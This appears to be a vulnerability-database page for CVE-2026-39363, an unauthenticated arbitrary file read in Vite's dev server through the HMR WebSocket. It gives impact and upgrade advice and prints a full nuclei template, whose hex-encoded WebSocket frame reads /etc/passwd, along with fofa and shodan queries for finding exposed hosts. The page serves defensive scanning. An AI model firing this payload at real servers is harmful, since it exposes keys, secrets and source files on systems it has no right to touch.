HexBrain

Browse / CVEs / CVE-2026-39363

CVE-2026-39363

Vite Dev Server - Arbitrary File Read

highseverity
8.2CVSS score
3.4%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

Vite dev server exposes the fetchModule method via its WebSocket HMR (Hot Module Replacement) endpoint using the vite-hmr sub-protocol. By connecting to the WebSocket endpoint and sending a crafted vite:invoke custom event that calls fetchModule with a file:// URL (e.g., file:///etc/passwd?raw), an attacker can bypass server.fs.deny restrictions and read arbitrary files from the server filesystem. The vulnerability exists because fetchModule does not enforce the same filesystem access controls as other Vite server endpoints.

Impact

An unauthenticated attacker with network access to the Vite dev server can read arbitrary files from the host filesystem, including sensitive files such as /etc/passwd, SSH private keys, environment variables, application source code, and configuration files containing secrets.

Fix

Upgrade Vite to a patched version: 8.0.5, 7.3.2, or 6.4.2 or later. Do not expose the Vite dev server to untrusted networks. Avoid using --host 0.0.0.0 in production or on public-facing interfaces.

How to confirm it

Positive when: contains "root:" and "export default" AND matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2026-39363 -u <target>

The full check
id: CVE-2026-39363

info:
  name: Vite Dev Server - Arbitrary File Read
  author: theamanrawat
  severity: high
  description: |
    Vite dev server exposes the fetchModule method via its WebSocket HMR (Hot Module Replacement) endpoint using the vite-hmr sub-protocol. By connecting to the WebSocket endpoint and sending a crafted vite:invoke custom event that calls fetchModule with a file:// URL (e.g., file:///etc/passwd?raw), an attacker can bypass server.fs.deny restrictions and read arbitrary files from the server filesystem. The vulnerability exists because fetchModule does not enforce the same filesystem access controls as other Vite server endpoints.
  impact: |
    An unauthenticated attacker with network access to the Vite dev server can read arbitrary files from the host filesystem, including sensitive files such as /etc/passwd, SSH private keys, environment variables, application source code, and configuration files containing secrets.
  remediation: |
    Upgrade Vite to a patched version: 8.0.5, 7.3.2, or 6.4.2 or later. Do not expose the Vite dev server to untrusted networks. Avoid using --host 0.0.0.0 in production or on public-facing interfaces.
  reference:
    - https://github.com/advisories/GHSA-p9ff-h696-f583
    - https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.2
    cve-id: CVE-2026-39363
    epss-score: 0.03396
    epss-percentile: 0.88935
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/@vite/client"
    shodan-query: title:"Vite App"
  tags: cve,cve2026,vite,websocket,lfi

javascript:
  - code: |
      let net = require("nuclei/net");
      let addr = target_host + ":" + target_port;
      let conn = net.Open("tcp", addr);
      let upgrade = "GET / HTTP/1.1\r\nHost: " + target_host + ":" + target_port + "\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: vite-hmr\r\n\r\n";
      conn.Send(upgrade);

      let resp = conn.RecvString(4096);
      if (resp.indexOf("connected") === -1) {
        resp += conn.RecvString(4096);
      }

      conn.SendHex("81fe0081000000007b2274797065223a22637573746f6d222c226576656e74223a22766974653a696e766f6b65222c2264617461223a7b226964223a22766974652d696e766f6b653a73656e643a30222c226e616d65223a2266657463684d6f64756c65222c2264617461223a5b2266696c653a2f2f2f6574632f7061737377643f726177225d7d7d");
      let result = conn.RecvString(8192);
      conn.Close();
      Export(result);

    args:
      target_host: "{{Host}}"
      target_port: "{{Port}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "root:"
          - "export default"
        condition: and

      - type: regex
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from